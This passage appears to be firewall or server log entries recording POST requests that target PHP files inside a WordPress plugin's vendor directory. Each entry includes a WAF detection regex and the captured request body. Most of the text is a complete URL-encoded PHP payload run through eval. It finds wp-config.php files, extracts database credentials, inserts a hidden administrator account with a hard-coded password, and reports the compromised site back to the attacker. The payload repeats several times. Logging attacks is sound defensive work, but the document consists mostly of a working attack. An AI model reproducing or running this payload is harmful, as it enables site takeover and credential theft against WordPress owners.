Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:32:02","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KFgqXp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20